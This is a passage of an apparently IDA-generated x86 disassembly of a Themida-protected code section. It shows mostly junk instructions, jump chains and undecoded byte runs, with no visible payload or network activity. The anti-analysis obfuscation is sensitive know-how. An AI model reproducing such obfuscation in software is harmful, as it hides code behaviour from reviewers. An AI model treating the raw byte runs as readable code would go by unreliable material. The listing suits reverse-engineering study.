		not	edx
		shl	edx, 7
		xor	edx, 8A3BC7D9h
		mov	eax, edx
		pop	edx
		shl	eax, 2
		push	edx
		push	ebx
		mov	ebx, 1
		mov	edx, ebx
		jmp	loc_5707C3
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 3D0E667Fh, 74FDBB53h, 0B951265Ah, 5B7A1E9Fh,	8159CB01h
		dd 0F6C977F3h, 4810E9ADh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B38E:				; CODE XREF: Themida_:0056EBDAj
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, 4
		add	ebp, offset dword_437474
		add	ebp, esi
		sub	ebp, offset dword_437474
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	8E0h
		jmp	loc_56A975
; ---------------------------------------------------------------------------
aSs4		db 'SéÆ4',0
		align 2
		dw 0D301h
		dd 7639EB81h, 525A56F7h, 24FE9h, 81E58900h, 4C5h, 3E95100h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B413:				; CODE XREF: Themida_:005620E8j
		dec	dword ptr [esp]
		not	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, 0FFFFFFFFh
		jmp	loc_56FD2D
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 83000000h, 0C8904ECh, 4EC8124h, 0E9000000h, 0FFFF3A5Ch
		dd 4C481h, 0EC810000h, 4, 0BD242C89h, 3F4A4BD5h, 0E957D5F7h
		dd 62D9h, 411DE946h, 0A3680000h, 8900003Ah, 0C968241Ch
		dd 89000062h, 4812424h,	424h, 2434FF00h, 4EC835Bh, 54240C89h
		dd 4C18159h, 68000000h,	27CAh, 51242C89h, 5656AAB9h, 0FEE18143h
		dd 0F751951Fh, 0E9D9F7D1h, 0FFFFB685h, 243C895Ch, 0C7815F54h
		dd 4, 8704C783h, 685C243Ch, 4ED7h, 0E9241489h, 3574h
; ---------------------------------------------------------------------------


loc_56B4C4:				; CODE XREF: Themida_:0056AE52j
		add	esp, 4
		jmp	loc_55EFF4
; ---------------------------------------------------------------------------


loc_56B4CC:				; CODE XREF: Themida_:00571B51j
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_56BAC1
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0BD242C89h, 34DA2618h, 3E5C14Dh, 3331ED81h, 18684E93h
		dd 89000044h, 0BA52240Ch, 12B4138Ch, 16B8EA81h,	0D2F77BDFh
		dd 7486CA81h, 0F28179F3h, 7E784C79h, 6F35E9h, 4BA00h, 0D0010000h
		dd 4394E9h, 5585400h, 4, 0FFFA8EE9h, 4C283FFh, 0FFE853E9h
		dd 4EC81FFh, 0E9000000h, 0FFFFBFEFh, 0C388F104h, 917FE958h
		dd 487FFFFh, 0C1815C24h, 2, 20E268h, 0DA36E900h, 3489FFFFh
		dd 0F75E5F24h, 81F787DEh, 0B26696C7h, 6EFC17Eh,	7274CF81h
		dd 0C7811B7Bh, 4028CFD8h, 15B5BA52h, 97E97D42h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B597:				; CODE XREF: Themida_:0056761Aj
		pop	esi
		push	ebx
		mov	ebx, esp
		push	esi
		jmp	loc_5666A0
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4C181h, 0E9570000h, 2CC6h, 4C4835Ch,	34FF2A88h, 0C4815924h
		dd 4, 0FF2ADAE9h, 4C581FFh, 83000000h, 2C8704EDh, 24248B24h
		dd 0FFC4A0E9h, 4BBB53FFh, 296E1321h, 99BCE9D8h,	815FFFFFh
		dd 4C7h, 604E6800h, 0DDE90000h,	8BFFFFA4h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5711B2
; ---------------------------------------------------------------------------
		dd 6624248Bh, 468F1F7h,	89000059h, 0C3682414h, 89000028h
		dd 0BD552424h, 4, 4246C01h, 83242C8Bh, 0A7E904C4h, 5EFFFFFAh
		dd 8B241C87h, 4092424h,	5CE99C24h, 52FFFF2Ah, 0CA4FC7BAh
		dd 65F28159h, 0E94A5172h, 0FFFF92AFh, 96098FBAh, 5EAC111h
		dd 2D6AE9h, 24248B00h, 34FF5A51h, 0E9525924h, 0FFFF2B42h
		dd 9EE9F001h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B677:				; CODE XREF: Themida_:00567A1Dj
		pop	dword ptr [esp]
		pop	esp
		shr	ebx, 2
		sub	esp, 4
		jmp	loc_56F672
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5646A4
; ---------------------------------------------------------------------------
		db 88h,	0F9h, 50h
		dd 88CA8852h, 0E2885AD4h, 240C8B58h, 0FF352FE9h, 4C481FFh
		dd 81000000h, 92567C6h,	3CBF5700h, 297D0834h, 0D6015FFEh
		dd 343CC681h, 0EE817D08h, 92567h, 5A2434FFh, 81E68956h
		dd 4C6h, 4C68300h, 2474FF56h, 48F5E04h,	24248B24h, 5FE7BB53h
		dd 0C381445Fh, 6C804529h, 0F381D3F7h, 4F205AEDh, 0CEE9DE01h
		dd 6800006Fh, 3177h, 89241489h,	4EC83E2h, 68240489h, 0B08h
		dd 68243C89h, 19DA4442h, 1EC3E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B72E:				; CODE XREF: Themida_:00564123j
		dec	eax
		and	eax, 29065E10h
		push	ebp
		mov	ebp, 1E0957DEh
		push	ecx
		mov	ecx, 7CF7D28h
		jmp	loc_570987
; ---------------------------------------------------------------------------


loc_56B745:				; CODE XREF: Themida_:00570324j
		sub	esp, 4
		mov	[esp], ebx
		push	971h
		mov	[esp], eax
		push	ebp
		push	edx
		mov	edx, 4AE11C82h
		add	edx, 2D916BBh
		neg	edx
		shl	edx, 2
		add	edx, 0E286D1Eh
		add	edx, 29ABBE74h
		jmp	loc_56FAD0
; ---------------------------------------------------------------------------


loc_56B779:				; CODE XREF: Themida_:00563B17j
		sub	ebx, 1A8116B0h
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_56B129
; ---------------------------------------------------------------------------
		dw 4205h
		dd 145350Eh, 0E422DD8h,	0EC834535h, 24348904h, 0FF9D46E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B7A1:				; CODE XREF: Themida_:0056BC36j
		sub	ebx, 462FA05Ch
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_56A7EF
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 34FF0000h, 0C4835B24h, 77E7E904h
		dd 1C89FFFFh, 506BE924h, 0E9500000h, 0FFFF4085h, 2E2C059h
		dd 0E90CC280h, 0FFFF2996h, 55499805h, 3262051Bh, 0E829683Eh
		dd 3262BD55h, 0E829683Eh, 7DE9535Dh, 83FFFFB9h,	0C8704C1h
		dd 38AFE924h, 0BD68FFFFh, 89000028h, 8B542404h,	0C4812404h
		dd 4, 0FF8BFDE9h, 99345BFFh, 0C530F5B5h, 582434FFh, 795368h
		dd 240C8900h, 59E9E189h, 8900002Ch, 2BE2434h, 81000000h
		dd 0B53C5C2h, 4817E97Bh, 8166FFFFh, 660883CBh, 3227EB81h
		dd 42CB8166h, 6653561Ah, 662931BBh, 0E907E3C1h,	0FFFFBCAEh
		dd 4C481h, 0C1810000h, 4, 4C181h, 0C330000h, 240C3124h
		dd 8B240C33h, 0E92424h,	5CFFFF28h, 9C2424D2h, 0FF27F6E9h
		dd 24248BFFh, 4CEE68h, 243C8900h, 0FF806CE9h, 241489FFh
		dd 0FFB68DE9h, 4BD55FFh, 1000000h, 242C8BE8h, 0FF3E1CE9h
		dd 0DFF747FFh, 0FF9FEDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B8D9:				; CODE XREF: Themida_:0055FAF0j
		shl	ah, 2
		add	ah, 0FFh
		sub	ah, 0CCh
		sub	bl, 43h
		sub	bl, ah
		add	bl, 43h
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_55E638
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0E904EC83h, 0FFFF7554h, 2BFh, 5FFB2900h, 5C241C87h
		dd 240C8966h, 701BE9h, 4C48100h, 81000000h, 5B7FC9EDh
		dd 24148B6Fh, 0E904C483h, 2312h, 4C581h, 0E9550000h, 0FFFFF3DFh
		dd 26BEF81h, 0F82964D1h, 56515D5Fh, 0CE68E689h,	0E900000Fh
		dd 61Eh, 0D0BB5359h, 8149B875h,	9D529CCBh, 5E3C137h, 0A5D0F381h
		dd 0DA018A92h, 57C2015Bh, 0D1181ABFh, 76E78158h, 0F778954Fh
		dd 0D7F747D7h, 0A9C1EF81h, 0FA29DB54h, 5EE0E95Fh, 0C89FFFFh
		dd 9ABF5724h, 0E91B1B05h, 0FFFFEB91h, 4C181h, 0C1810000h
		dd 4, 5C240C87h, 8904EC83h, 0EAE9240Ch
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B9B3:				; CODE XREF: Themida_:00570F73j
		xor	ebx, 39478DACh
		jmp	loc_560875
; ---------------------------------------------------------------------------


loc_56B9BE:				; CODE XREF: Themida_:0056C418j
		pop	ebx
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4C023725h
		not	ebp
		add	ebp, 4C02372Ah
		add	edi, ebp
		pop	ebp
		add	edi, 4
		jmp	loc_55E192
; ---------------------------------------------------------------------------


loc_56B9DB:				; CODE XREF: Themida_:00568FCAj
		push	edi
		mov	edi, esp
		jmp	loc_56C007
; ---------------------------------------------------------------------------


loc_56B9E3:				; CODE XREF: Themida_:0056A687j
		push	76736A75h
		pop	esi
		shr	esi, 2
		xor	esi, 1D9CDA9Ch
		jmp	loc_56D116
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9552434h, 0FFFF69B2h, 0A3E9D321h
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BA07:				; CODE XREF: Themida_:0056D41Cj
		sub	esp, 4
		jmp	loc_56B18A
; ---------------------------------------------------------------------------


loc_56BA0F:				; CODE XREF: Themida_:0055E4B1j
		xchg	ebx, [esp]
		pop	esp
		pop	ecx
		push	1A72h
		mov	[esp], ebp
		jmp	loc_56768C
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0ABh
		dd 0E97FCB2Bh, 0FFFFDD32h, 8105E2C1h, 0B95864F2h, 8AEF8172h
		dd 0E9146451h, 0FFFF56EEh, 3AA2BA52h, 0A3BB0465h, 296E9E7Ch
		dd 0C3835AD3h, 81434BFFh, 0C75CECF3h, 12C38130h, 81018D73h
		dd 8B91FAF3h, 8BDE015Ch, 3BE9241Ch, 30FFFFA8h, 240C8BCAh
		dd 4C481h, 0D0300000h, 0E92434FFh, 14B3h, 3319B0B8h, 0E9C2012Dh
		dd 0FFFFAC30h, 8904EC83h, 0BB532404h, 599D3448h, 0C5CB81h
		dd 0C38138BFh, 554411C1h, 27BDCB81h, 0CB8100CDh, 73FD5E23h
		dd 0FFE158E9h, 0B9F680FFh, 0FFB8EDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56BAC1:				; CODE XREF: Themida_:0056B4E4j
		pop	edx
		push	esi
		mov	esi, 4
		add	ecx, esi
		jmp	loc_56A2F7
; ---------------------------------------------------------------------------
		db 81h
		dd 0FC3273C1h, 6AF2E950h, 1C89FFFFh, 4D9AE924h,	0D189FFFFh
		dd 8B2434FFh, 0C4812414h, 4, 4C481h, 0EA810000h, 443C2C93h
		dd 0E955CA01h, 0FFFF544Ah, 81E38953h, 4C3h, 4C38100h, 87000000h
		dd 815C241Ch, 4C6h, 24343300h, 33243431h, 248B2434h, 0C8BE0F24h
		dd 238068h, 240C8900h, 0FF2566E9h, 0CC781FFh, 8137AA78h
		dd 44612EEFh, 6A3AE95Ah, 0DCBD0000h, 0E9586F2Ah, 0FFFF9784h
; ---------------------------------------------------------------------------


loc_56BB54:				; CODE XREF: Themida_:0055E63Dj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	ecx
		movzx	eax, al
		jmp	loc_562D85
; ---------------------------------------------------------------------------
		dw 5D58h
		dd 81241C8Bh, 4ECh, 242C8900h, 7C0968h,	24248900h, 4240481h
		dd 0FF000000h, 0D2E92434h, 89000046h, 0E953240Ch, 2551h
		dd 7EDFEE81h, 34FF1D23h, 15685B24h, 89000029h, 19682404h
		dd 8900001Ah, 4832424h,	55580424h, 4E72E953h, 0E100FFFFh
		dd 5724048Bh, 0FFD648E9h, 0C1815CFFh, 3CA11F9Bh, 0FFBC7DE9h
		dd 515066FFh, 2CB402B1h, 0FFEEF2E9h, 8CE940FFh
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BBE3:				; CODE XREF: Themida_:00567261j
		add	esp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 2404875Ch, 0D324248Bh, 0E99C243Ch, 4DC2h, 5C240C87h
		dd 83240489h, 0E4E904ECh
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BC1F:				; CODE XREF: Themida_:005703FDj
		sub	ebx, 63D646DDh
		push	edi
		mov	edi, 47EE4D1Fh
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		shl	ebx, 5
		jmp	loc_56B7A1
; ---------------------------------------------------------------------------


loc_56BC3B:				; CODE XREF: Themida_:0056E446j
		pop	esi
		and	ecx, 4E9C2FD8h
		sub	ecx, 0D8C1908h
		inc	ecx
		jmp	loc_56A073
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0C75h, 7AF38143h, 0E9732D51h, 0FFFF8619h, 0F85CACBFh
		dd 5FFD0148h, 0F5E9DD01h, 8BFFFFF1h, 0C481242Ch, 4, 4C481h
		dd 1C330000h, 241C3124h, 5C241C33h, 0FF744FE9h,	5CFBBFFFh
		dd 0EF81343Fh, 96D5F9Dh, 16AEC781h, 0DFF72B38h,	7A06C781h
		dd 0C7816308h, 3DE89EFBh, 5205E7C1h, 613BBBAh, 5AD72131h
		dd 0FFFFC781h, 6EE9FFFFh, 33FFFF6Bh, 665C2414h,	0FEE9C331h
		db 31h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BCCF:				; CODE XREF: Themida_:00564DF2j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_569482
; ---------------------------------------------------------------------------


loc_56BCDA:				; CODE XREF: Themida_:005615DBj
		xchg	ebx, [esp]
		jmp	loc_57122C
; ---------------------------------------------------------------------------
		dw 0FF66h
		dd 0E99C240Ch, 0FFFF23B3h, 9419F581h, 0E889201Eh, 81242C8Bh
		dd 4C4h, 58C60100h, 68h, 0DFC4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BD0A:				; CODE XREF: Themida_:005600FEj
		add	esp, 4
		jmp	loc_56FA71
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 81h
		dd 37BAB1C7h, 66EE81E0h, 29595C22h, 66C681FEh, 5F595C22h
		dd 815EF201h, 374E52C3h, 81D32905h, 374E52EBh, 24148B05h
		dd 4C481h, 1C330000h, 241C3124h, 0E9241C33h, 0FFFFE505h
		dd 0F38F281h, 5401173Fh, 34FF0424h, 0C4835A24h,	242C8104h
		dd 6F736DD0h, 0FFA637E9h, 240487FFh, 84BE565Ch,	8113D012h
		dd 6877A1CEh, 5E6C171h,	4E07E6C1h, 3BC3E681h, 0F6813DC2h
		dd 5420BC7h, 34FFF301h,	2682E924h, 0D1BB0000h, 0E9EE41C5h
		dd 0FFFFF57Ch
; ---------------------------------------------------------------------------


loc_56BDA8:				; CODE XREF: Themida_:0055F953j
		add	[esp+4], ecx
		add	dword ptr [esp+4], 52C3233Ah
		add	dword ptr [esp+4], 491013F9h
		add	dword ptr [esp+4], 7D180B30h
		mov	ecx, [esp]
		jmp	loc_56009C
; ---------------------------------------------------------------------------
		dd 0C67AF435h, 3D9CE910h, 248BFFFFh, 3B346824h,	0C890000h
		dd 0D7885324h, 4EC81h, 14890000h, 83FA8824h, 48904ECh
		dd 88D08824h, 8B5A58C5h, 5451241Ch, 1BFB6859h, 0D0E90000h
		dd 8100006Ch, 5C42CBEAh, 81C2017Fh, 5C42CBC2h, 1433587Fh
		dd 4958E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BE22:				; CODE XREF: Themida_:0056E2E3j
		push	eax
		push	ebx
		push	dword ptr [esp]
		pop	eax
		push	4288h
		mov	[esp], edi
		jmp	loc_567AD9
; ---------------------------------------------------------------------------
byte_56BE35	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0055DE1Co
		dd 0D359669Dh, 0E99C2414h, 0FFFF225Bh
; ---------------------------------------------------------------------------


loc_56BE44:				; CODE XREF: Themida_:0056A07Fj
		mov	esp, [esp]
		mov	[esp], esi
		push	7ABAh
		mov	[esp], edx
		mov	edx, 63A95A1Eh
		mov	esi, 0CA90CFDAh
		jmp	loc_56A907
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56DEE9
; ---------------------------------------------------------------------------


loc_56BE78:				; CODE XREF: Themida_:00563C91j
		push	edx
		push	254Ah
		jmp	loc_560E67
; ---------------------------------------------------------------------------


loc_56BE83:				; CODE XREF: Themida_:00570E20j
		mov	[esp], ebx
		jmp	loc_565438
; ---------------------------------------------------------------------------
		db 89h
		dd 2EE9242Ch, 83FFFF68h, 3C8904ECh, 2474FF24h, 5B5EE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BEA2:				; CODE XREF: Themida_:00560911j
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_569982
; ---------------------------------------------------------------------------


loc_56BEAF:				; CODE XREF: Themida_:00569BA9j
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	eax, ebx
		pop	ebx
		jmp	loc_569AB0
; ---------------------------------------------------------------------------
		db 89h
		dd 243C8BFDh, 4C481h, 0EB290000h, 2EF7E9h, 24148B00h, 81E18951h
		dd 4C1h, 4C18100h, 87000000h, 685C240Ch, 13A9h,	0FF240489h
		dd 8B042474h, 0C4832404h, 0B670E904h, 3431FFFFh, 631EE924h
		dd 0CC80FFFFh, 4ECC0FCh, 80FFC480h, 0E520CBF4h,	8E5C058h
		dd 0C580CDFEh, 66E830C0h, 53240C8Bh, 0DCCE9h
		db 0
; ---------------------------------------------------------------------------


loc_56BF35:				; CODE XREF: Themida_:0055F4D1j
		mov	ebp, 5B1D70CBh
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_565ECE
; ---------------------------------------------------------------------------


loc_56BF4B:				; CODE XREF: Themida_:00566DC8j
		add	dh, 0EBh
		xor	dh, 99h
		jmp	loc_566197
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 81000000h,	4E9h, 240C8700h, 2614E95Ch, 14890000h
		dd 4BA24h, 0B1E90000h, 53FFFFE2h, 4BBh,	5BDF2900h, 0FF3C5BE9h
		dd 711A68FFh, 2FE90000h, 5FFFF65h, 14DF0493h, 5E2434FFh
		dd 4C481h, 0C5290000h, 0E15EE958h, 5150FFFFh, 0B5633BB9h
		dd 59C88976h, 0A1235425h, 7CDE3537h, 0C1815BD1h, 67EC265Bh
		dd 0E981C101h, 67EC265Bh, 0D01E9h
		db 0
; ---------------------------------------------------------------------------


loc_56BFD1:				; CODE XREF: Themida_:0055ED58j
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_56C5D5
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 4
		dd 1000000h, 243C8BF8h,	1302E9h
		db 0
; ---------------------------------------------------------------------------


loc_56BFF1:				; CODE XREF: Themida_:0055E52Cj
		mov	ecx, 66E717Ch
		push	edx
		mov	edx, 76171464h
		xor	edx, 6EB70BA1h
		jmp	loc_5659BB
; ---------------------------------------------------------------------------


loc_56C007:				; CODE XREF: Themida_:0056B9DEj
		add	edi, 4
		sub	edi, 4
		jmp	loc_571B4E
; ---------------------------------------------------------------------------
		dd 0FF2082E9h, 72E956FFh, 53000031h, 0FFAF73E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C029:				; CODE XREF: Themida_:00564320j
		push	esi
		push	edi
		push	60F86655h
		pop	edi
		add	edi, 0DF5BD85h
		jmp	loc_56E4EA
; ---------------------------------------------------------------------------
		dd 0C781E789h, 4, 4C781h, 0ADE90000h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C04F:				; CODE XREF: Themida_:00571A25j
		mov	esi, 0FEB41A4h
		xor	edx, esi
		jmp	loc_56073C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C58100h, 83000000h, 0FF5504EDh, 0E9042474h, 0FFFF3826h
		dd 9DA2B02Dh, 0E9C22996h, 0FFFF7466h
; ---------------------------------------------------------------------------


loc_56C080:				; CODE XREF: Themida_:0056AACAj
		add	ecx, esi
		jmp	loc_56EB7D
; ---------------------------------------------------------------------------


loc_56C087:				; CODE XREF: Themida_:005719F7j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
a_sy		db '_éY$',0
		align 4
dword_56C0A8	dd 8B2434FFh, 4BE92404h, 81FFFFF0h, 0BD6928C5h,	3CED8122h
					; DATA XREF: Themida_:0055DF5Co
		dd 5E783F30h, 8B242C87h, 0F662424h, 9C2404B3h, 0FF1FCEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C0D1:				; CODE XREF: Themida_:0055E0B2j
		mov	al, 0BDh
		add	al, 1
		push	bx
		mov	bl, 6Ch
		sub	al, bl
		pop	bx
		neg	al
		jmp	loc_55EC65
; ---------------------------------------------------------------------------
		dd 84E9C888h, 52FFFF74h, 4BAh, 24540100h, 34FF5A04h, 2434FF24h
		dd 10C1E95Eh, 49B90000h, 56346F38h, 542660BEh, 81464602h
		dd 641FF3C6h, 5EF101DBh, 5D59C801h, 0E9h, 2DE80100h, 17890026h
		dd 0EE31772Dh, 2434FF31h, 81242C8Bh, 4C4h, 0B1E95000h
		dd 1000028h, 242C8BE9h,	3A6AE9h, 2969B800h, 0F7406BAEh
		dd 8ABD55D0h, 0F72D5B5Ah, 0F7D5F7D5h, 26C581D5h, 297C2364h
		dd 0EE055DE8h, 31E62C76h, 0E95758C5h, 474Dh, 3E0D1ABEh
		dd 4EC8320h, 0FF5A37E9h, 0E18951FFh, 0FFF80FE9h, 48F58FFh
		dd 66685C24h, 8900002Dh, 0A268241Ch, 89000050h,	2DBA2414h
		dd 0E93B296Ch, 0FFFF9141h, 1E94EE81h, 0EE815441h, 7A196FAAh
		dd 0C681C601h, 7A196FAAh, 1E94C681h, 34FF5441h,	0C4815824h
		dd 4, 6245EE81h, 58E90045h, 28FFFF75h, 0EC815AD0h, 2, 241C8966h
		dd 97A2E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C1EA:				; CODE XREF: Themida_:0056D7B9j
		mov	esp, [esp]
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_572480
; ---------------------------------------------------------------------------
		db 31h
		dd 79E92434h, 0B4FFFFC5h, 8BE3289Eh, 0F5E92404h, 89000002h
		dd 4BBE2434h, 5335A730h, 0FF9A4CE9h, 52E728FFh,	0F28072B2h
		dd 0F3C280A3h, 0CAE9D700h, 8FFFFF6Ch, 0BE562404h, 4, 4247401h
		dd 0FF7BABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C241:				; CODE XREF: Themida_:0056E3F5j
		mov	[esp], esi
		mov	esi, 6A640077h
		add	esi, 1
		push	eax
		jmp	loc_5636F1
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 0FFE9A7E9h, 4184BBFFh, 0D8297946h, 599BE9h, 19FA6800h
		dd 0E9596461h, 637Eh, 4BBh, 5BD80100h, 42Dh, 24048700h
		dd 8924248Bh, 70E92404h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C28F:				; CODE XREF: Themida_:005636A3j
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5621C4
; ---------------------------------------------------------------------------


loc_56C29F:				; CODE XREF: Themida_:00572621j
		mov	[esp], eax
		jmp	loc_56930C
; ---------------------------------------------------------------------------
		db 57h
		dd 42474FFh, 6F50E95Fh,	0D301FFFFh, 5491C381h, 555A4A26h
		dd 0CE6E14BDh, 55E5816Ah, 0F7689503h, 1EE581D5h, 81587724h
		dd 0FCF82DEDh, 3311E9A4h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C2DA:				; CODE XREF: Themida_:00569E96j
		add	ecx, ebp
		pop	ebp
		add	esi, ecx
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_56A852
; ---------------------------------------------------------------------------
byte_56C2EF	db 66h			; DATA XREF: Themida_:0055DFF0o
		dd 6824048Bh, 542Bh, 0FFCE1EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C2FD:				; CODE XREF: Themida_:00568678j
		mov	[esp], ebx
		mov	ebx, edx
		mov	eax, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	edx
		push	edi
		push	esp
		pop	edi
		push	588Ch
		jmp	loc_56797C
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815824h, 4, 37FB68h, 24148900h, 24148B54h, 5004C483h
		dd 4B8h, 867FE900h, 0C87FFFFh, 24248B24h, 68243489h, 5D3h
		dd 51241489h, 0FC1C4EB9h, 4EC817Ah, 0E9000000h,	0FFFF9C3Dh
		dd 0E923F180h, 4A6Eh, 31241433h, 14332414h, 0E294E924h
		dd 0F681FFFFh, 68E03C4Ah, 2413C381h, 0F3016B4Eh, 54CE9h
		dd 53515A00h, 101937BBh, 1740E93Dh, 15D0000h, 95E95BD8h
		dd 0FF00000Bh, 148B2434h, 4C48124h, 57000000h, 4EC81h
		dd 24890000h, 24048124h, 4, 61D3E95Fh, 2D5B0000h, 6D415DB2h
		dd 0FF343DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C3C9:				; CODE XREF: Themida_:0056DD81j
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_57108B
; ---------------------------------------------------------------------------
		dw 0D189h
		dd 0FFBB535Ah, 1FFFFFFh, 1E2CE9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C3E6:				; CODE XREF: Themida_:0056CD48j
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_560D94
; ---------------------------------------------------------------------------
		db 5Bh,	57h, 0BFh
		dd 4, 0E95FF929h, 0FFFFFF36h
; ---------------------------------------------------------------------------


loc_56C404:				; CODE XREF: Themida_:00564DA8j
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebx
		push	1C760C2Fh
		push	dword ptr [esp]
		jmp	loc_56B9BE
; ---------------------------------------------------------------------------
aS0		db '\é0:',0
		dw 8100h
		dd 4C5h, 4EC8100h, 89000000h, 3DE92434h, 89FFFFFDh, 0D789243Ch
		dd 4A09E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C442:				; CODE XREF: Themida_:00564768j
		pop	esi
		jmp	loc_56D73F
; ---------------------------------------------------------------------------
		dd 24048F58h, 683F6852h, 3C890000h, 4FC6BF24h, 0ECE93632h
		dd 100001Fh, 0A1E981F1h, 5E598A25h, 8704C183h, 0E95C240Ch
		dd 0FFFFC1D8h
; ---------------------------------------------------------------------------


loc_56C474:				; CODE XREF: Themida_:005657F8j
		mov	edx, ebx
		pop	ebx
		jmp	loc_571D6D
; ---------------------------------------------------------------------------
		dd 421665Ch, 18E99C24h
		db 1Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C487:				; CODE XREF: Themida_:0056F8E1j
		push	ebx
		mov	bl, 8
		jmp	loc_566761
; ---------------------------------------------------------------------------
		db 29h
		dd 0C0E958C5h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C497:				; CODE XREF: Themida_:00572445j
		mov	ebp, 6D352F4Eh
		inc	ebp
		inc	ebp
		shl	ebp, 2
		add	ebp, 1
		jmp	loc_5688E4
; ---------------------------------------------------------------------------
		db 68h,	0F3h, 5Fh
		dd 4890000h, 0B9515524h, 69C05190h, 0FFAFC4E9h,	4C483FFh
		dd 0E9D70158h, 0FFFFBE8Dh, 2A12F581h, 0EE312D5Ah, 0FF5179E9h
